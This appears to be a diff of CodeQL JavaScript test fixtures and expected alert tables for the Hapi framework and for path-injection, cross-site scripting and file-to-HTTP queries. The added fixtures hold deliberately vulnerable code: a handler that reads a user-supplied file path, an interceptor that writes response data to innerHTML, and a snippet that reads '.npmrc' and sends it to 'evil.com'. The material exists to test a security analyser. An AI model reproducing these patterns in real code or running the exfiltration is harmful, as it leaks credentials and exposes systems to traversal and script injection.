test_HeaderDefinition
| src/hapi.js:14:9:14:46 | request ... 1', '') | src/hapi.js:13:14:15:5 | functio ... n\\n } |
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | src/hapiglue.js:13:14:15:5 | functio ... n\\n } |
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
test_ServerDefinition
| src/hapi.js:1:15:1:44 | new (re ... erver() |
| src/hapi.js:4:15:4:31 | new Hapi.Server() |
@@ -65,6 +91,8 @@ test_ServerDefinition
| src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
| src/hapiglue.js:43:19:43:24 | server |
| src/hapiglue.js:44:45:44:51 | server_ |
| src/hapihapi.js:1:15:1:50 | new (re ... erver() |
| src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
test_RequestInputAccess
| src/hapi.js:21:3:21:20 | request.rawPayload | body | src/hapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapi.js:22:3:22:21 | request.payload.foo | body | src/hapi.js:20:1:27:1 | functio ... oken;\\n} |
@@ -80,6 +108,12 @@ test_RequestInputAccess
| src/hapiglue.js:26:3:26:20 | request.url.origin | url | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
| src/hapiglue.js:27:3:27:21 | request.headers.baz | header | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
| src/hapiglue.js:28:3:28:21 | request.state.token | cookie | src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} |
| src/hapihapi.js:21:3:21:20 | request.rawPayload | body | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:22:3:22:21 | request.payload.foo | body | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:23:3:23:19 | request.query.bar | parameter | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:24:3:24:18 | request.url.path | url | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:25:3:25:21 | request.headers.baz | header | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:26:3:26:21 | request.state.token | cookie | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
test_RouteSetup_getServer
| src/hapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapi.js:12:1:15:7 | server2 ... }}) | src/hapi.js:4:15:4:31 | new Hapi.Server() |
@@ -91,9 +125,15 @@ test_RouteSetup_getServer
| src/hapiglue.js:17:1:18:2 | server2 ... dler\\n}) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
| src/hapiglue.js:31:1:31:20 | server2.route(route) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:4:15:4:69 | new Hap ... ptions) |
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:12:1:15:7 | server2 ... }}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:29:1:29:20 | server2.route(route) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:4:15:4:31 | new Hapi.Server() |
test_HeaderDefinition_defines
| src/hapi.js:14:9:14:46 | request ... 1', '') | header1 | |
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | header1 | |
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | header1 | |
test_RouteSetup_getARouteHandler
| src/hapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapi.js:6:1:6:21 | functio ... er1(){} |
| src/hapi.js:12:1:15:7 | server2 ... }}) | src/hapi.js:13:14:15:5 | functio ... n\\n } |
@@ -109,6 +149,13 @@ test_RouteSetup_getARouteHandler
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:35:1:37:1 | return of function getHandler |
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:36:12:36:33 | functio ... hapi){} |
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) | src/hapiglue.js:38:25:38:36 | getHandler() |
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) | src/hapihapi.js:6:1:6:21 | functio ... er1(){} |
| src/hapihapi.js:12:1:15:7 | server2 ... }}) | src/hapihapi.js:13:14:15:5 | functio ... n\\n } |
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) | src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} |
| src/hapihapi.js:29:1:29:20 | server2.route(route) | src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} |
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:33:1:35:1 | return of function getHandler |
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:34:12:34:30 | function (req, h){} |
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) | src/hapihapi.js:36:25:36:36 | getHandler() |
test_RouteHandler_getARequestExpr
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:13:32:13:38 | request |
| src/hapi.js:13:14:15:5 | functio ... n\\n } | src/hapi.js:13:32:13:38 | request |
@@ -138,9 +185,24 @@ test_RouteHandler_getARequestExpr
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:27:3:27:9 | request |
| src/hapiglue.js:20:1:29:1 | functio ... oken;\\n} | src/hapiglue.js:28:3:28:9 | request |
| src/hapiglue.js:36:12:36:33 | functio ... hapi){} | src/hapiglue.js:36:22:36:24 | req |
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:13:32:13:38 | request |
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:13:32:13:38 | request |
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | src/hapihapi.js:14:9:14:15 | request |
| src/hapihapi.js:17:30:18:1 | functio ... ndler\\n} | src/hapihapi.js:17:48:17:54 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:20:19:20:25 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:20:19:20:25 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:21:3:21:9 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:22:3:22:9 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:23:3:23:9 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:24:3:24:9 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:25:3:25:9 | request |
| src/hapihapi.js:20:1:27:1 | functio ... oken;\\n} | src/hapihapi.js:26:3:26:9 | request |
| src/hapihapi.js:34:12:34:30 | function (req, h){} | src/hapihapi.js:34:22:34:24 | req |
test_HeaderDefinition_getAHeaderName
| src/hapi.js:14:9:14:46 | request ... 1', '') | header1 |
| src/hapiglue.js:14:9:14:46 | request ... 1', '') | header1 |
| src/hapihapi.js:14:9:14:46 | request ... 1', '') | header1 |
test_RouteHandler_getAResponseHeader
| src/hapi.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapi.js:14:9:14:46 | request ... 1', '') |
| src/hapiglue.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapiglue.js:14:9:14:46 | request ... 1', '') |
| src/hapihapi.js:13:14:15:5 | functio ... n\\n } | header1 | src/hapihapi.js:14:9:14:46 | request ... 1', '') |

View File

@@ -51,6 +51,7 @@
| express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | express.js:8:20:8:32 | req.query.bar | This path depends on a $@. | express.js:8:20:8:32 | req.query.bar | user-provided value |
| handlebars.js:11:32:11:39 | filePath | handlebars.js:29:46:29:60 | req.params.path | handlebars.js:11:32:11:39 | filePath | This path depends on a $@. | handlebars.js:29:46:29:60 | req.params.path | user-provided value |
| handlebars.js:15:25:15:32 | filePath | handlebars.js:43:15:43:29 | req.params.path | handlebars.js:15:25:15:32 | filePath | This path depends on a $@. | handlebars.js:43:15:43:29 | req.params.path | user-provided value |
| hapi.js:15:44:15:51 | filepath | hapi.js:14:30:14:51 | request ... ilepath | hapi.js:15:44:15:51 | filepath | This path depends on a $@. | hapi.js:14:30:14:51 | request ... ilepath | user-provided value |
| normalizedPaths.js:13:19:13:22 | path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:13:19:13:22 | path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
| normalizedPaths.js:14:19:14:29 | './' + path | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:14:19:14:29 | './' + path | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
| normalizedPaths.js:15:19:15:38 | path + '/index.html' | normalizedPaths.js:11:14:11:27 | req.query.path | normalizedPaths.js:15:19:15:38 | path + '/index.html' | This path depends on a $@. | normalizedPaths.js:11:14:11:27 | req.query.path | user-provided value |
@@ -344,6 +345,8 @@ edges
| handlebars.js:13:73:13:80 | filePath | handlebars.js:15:25:15:32 | filePath | provenance | |
| handlebars.js:29:46:29:60 | req.params.path | handlebars.js:10:51:10:58 | filePath | provenance | |
| handlebars.js:43:15:43:29 | req.params.path | handlebars.js:13:73:13:80 | filePath | provenance | |
| hapi.js:14:19:14:51 | filepath | hapi.js:15:44:15:51 | filepath | provenance | |
| hapi.js:14:30:14:51 | request ... ilepath | hapi.js:14:19:14:51 | filepath | provenance | |
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:13:19:13:22 | path | provenance | |
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:14:26:14:29 | path | provenance | |
| normalizedPaths.js:11:7:11:27 | path | normalizedPaths.js:15:19:15:22 | path | provenance | |
@@ -821,6 +824,9 @@ nodes
| handlebars.js:15:25:15:32 | filePath | semmle.label | filePath |
| handlebars.js:29:46:29:60 | req.params.path | semmle.label | req.params.path |
| handlebars.js:43:15:43:29 | req.params.path | semmle.label | req.params.path |
| hapi.js:14:19:14:51 | filepath | semmle.label | filepath |
| hapi.js:14:30:14:51 | request ... ilepath | semmle.label | request ... ilepath |
| hapi.js:15:44:15:51 | filepath | semmle.label | filepath |
| normalizedPaths.js:11:7:11:27 | path | semmle.label | path |
| normalizedPaths.js:11:14:11:27 | req.query.path | semmle.label | req.query.path |
| normalizedPaths.js:13:19:13:22 | path | semmle.label | path |

View File

@@ -0,0 +1,22 @@
const Hapi = require('@hapi/hapi');
const fs = require('fs').promises;
(async () => {
const server = Hapi.server({
port: 3005,
host: 'localhost'
});
server.route({
method: 'GET',
path: '/hello',
handler: async (request, h) => {
const filepath = request.query.filepath; // $ Source
const data = await fs.readFile(filepath, 'utf8'); // $ Alert
const firstLine = data.split('\n')[0];
return firstLine;
}
});
await server.start();
})();

View File

@@ -1,4 +1,5 @@
#select
| interceptors.js:9:56:9:72 | userGeneratedHtml | interceptors.js:7:6:7:13 | response | interceptors.js:9:56:9:72 | userGeneratedHtml | Cross-site scripting vulnerability due to $@. | interceptors.js:7:6:7:13 | response | user-provided value |
| test.jsx:27:29:27:32 | data | test.jsx:5:28:5:63 | fetch(" ... ntent") | test.jsx:27:29:27:32 | data | Cross-site scripting vulnerability due to $@. | test.jsx:5:28:5:63 | fetch(" ... ntent") | user-provided value |
| test.ts:21:57:21:76 | response.description | test.ts:8:9:8:79 | this.#h ... query') | test.ts:21:57:21:76 | response.description | Cross-site scripting vulnerability due to $@. | test.ts:8:9:8:79 | this.#h ... query') | user-provided value |
| test.ts:24:36:24:90 | `<h2>${ ... o}</p>` | test.ts:8:9:8:79 | this.#h ... query') | test.ts:24:36:24:90 | `<h2>${ ... o}</p>` | Cross-site scripting vulnerability due to $@. | test.ts:8:9:8:79 | this.#h ... query') | user-provided value |
@@ -18,6 +19,9 @@
| testUseQueries2.vue:40:10:40:23 | v-html=data3 | testUseQueries2.vue:12:28:12:41 | fetch("${id}") | testUseQueries2.vue:40:10:40:23 | v-html=data3 | Cross-site scripting vulnerability due to $@. | testUseQueries2.vue:12:28:12:41 | fetch("${id}") | user-provided value |
| testUseQueries.vue:25:10:25:23 | v-html=data2 | testUseQueries.vue:11:36:11:49 | fetch("${id}") | testUseQueries.vue:25:10:25:23 | v-html=data2 | Cross-site scripting vulnerability due to $@. | testUseQueries.vue:11:36:11:49 | fetch("${id}") | user-provided value |
edges
| interceptors.js:7:6:7:13 | response | interceptors.js:8:35:8:42 | response | provenance | |
| interceptors.js:8:15:8:47 | userGeneratedHtml | interceptors.js:9:56:9:72 | userGeneratedHtml | provenance | |
| interceptors.js:8:35:8:42 | response | interceptors.js:8:15:8:47 | userGeneratedHtml | provenance | |
| test.jsx:5:11:5:63 | response | test.jsx:6:24:6:31 | response | provenance | |
| test.jsx:5:22:5:63 | await f ... ntent") | test.jsx:5:11:5:63 | response | provenance | |
| test.jsx:5:28:5:63 | fetch(" ... ntent") | test.jsx:5:22:5:63 | await f ... ntent") | provenance | |
@@ -96,6 +100,10 @@ edges
| testUseQueries.vue:12:20:12:34 | response.json() | testUseQueries.vue:18:22:18:36 | results[0].data | provenance | |
| testUseQueries.vue:18:22:18:36 | results[0].data | testUseQueries.vue:25:10:25:23 | v-html=data2 | provenance | |
nodes
| interceptors.js:7:6:7:13 | response | semmle.label | response |
| interceptors.js:8:15:8:47 | userGeneratedHtml | semmle.label | userGeneratedHtml |
| interceptors.js:8:35:8:42 | response | semmle.label | response |
| interceptors.js:9:56:9:72 | userGeneratedHtml | semmle.label | userGeneratedHtml |
| test.jsx:5:11:5:63 | response | semmle.label | response |
| test.jsx:5:22:5:63 | await f ... ntent") | semmle.label | await f ... ntent") |
| test.jsx:5:28:5:63 | fetch(" ... ntent") | semmle.label | fetch(" ... ntent") |

View File

@@ -0,0 +1,20 @@
const express = require("express");
const axios = require("axios");
const app = express();
axios.interceptors.response.use(
(response) => { // $ Source
const userGeneratedHtml = response.data;
document.getElementById("content").innerHTML = userGeneratedHtml; // $ Alert
return response;
},
(error) => {
return Promise.reject(error);
}
);
app.post("/fetch", (req, res) => {
const { url } = req.body;
axios.get(url);
});

View File

@@ -1,5 +1,6 @@
#select
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data |
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | file data |
| bufferRead.js:32:21:32:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:32:21:32:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data |
| googlecompiler.js:37:18:37:26 | post_data | googlecompiler.js:43:54:43:57 | data | googlecompiler.js:37:18:37:26 | post_data | Outbound network request depends on $@. | googlecompiler.js:43:54:43:57 | data | file data |
| readFileSync.js:25:18:25:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:25:18:25:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data |
@@ -13,6 +14,10 @@ edges
| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:4:5:4:47 | content | provenance | |
| FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | provenance | |
| FileAccessToHttp.js:9:23:9:29 | content | FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | provenance | |
| FileAccessToHttp.js:16:11:16:56 | content | FileAccessToHttp.js:22:27:22:33 | content | provenance | |
| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:16:11:16:56 | content | provenance | |
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | provenance | |
| FileAccessToHttp.js:22:27:22:33 | content | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | provenance | |
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:21:13:26 | buffer | provenance | |
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance | |
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | provenance | |
@@ -64,6 +69,11 @@ nodes
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | semmle.label | {\\n hos ... ent }\\n} |
| FileAccessToHttp.js:9:12:9:31 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
| FileAccessToHttp.js:9:23:9:29 | content | semmle.label | content |
| FileAccessToHttp.js:16:11:16:56 | content | semmle.label | content |
| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | semmle.label | await f ... "utf8") |
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } |
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
| FileAccessToHttp.js:22:27:22:33 | content | semmle.label | content |
| bufferRead.js:12:13:12:43 | buffer | semmle.label | buffer |
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | semmle.label | new Buf ... s.size) |
| bufferRead.js:13:21:13:26 | buffer | semmle.label | buffer |

View File

@@ -8,3 +8,21 @@ https.get({
method: "GET",
headers: { Referer: content }
}, () => { }); // $ Alert[js/file-access-to-http]
const fsp = require("fs").promises;
(async function sendRequest() {
try {
const content = await fsp.readFile(".npmrc", "utf8"); // $ Source[js/file-access-to-http]
https.get({
hostname: "evil.com",
path: "/upload",
method: "GET",
headers: { Referer: content }
}, () => { }); // $ Alert[js/file-access-to-http]
} catch (error) {
console.error("Error reading file:", error);
}
})();

Some files were not shown because too many files have changed in this diff Show More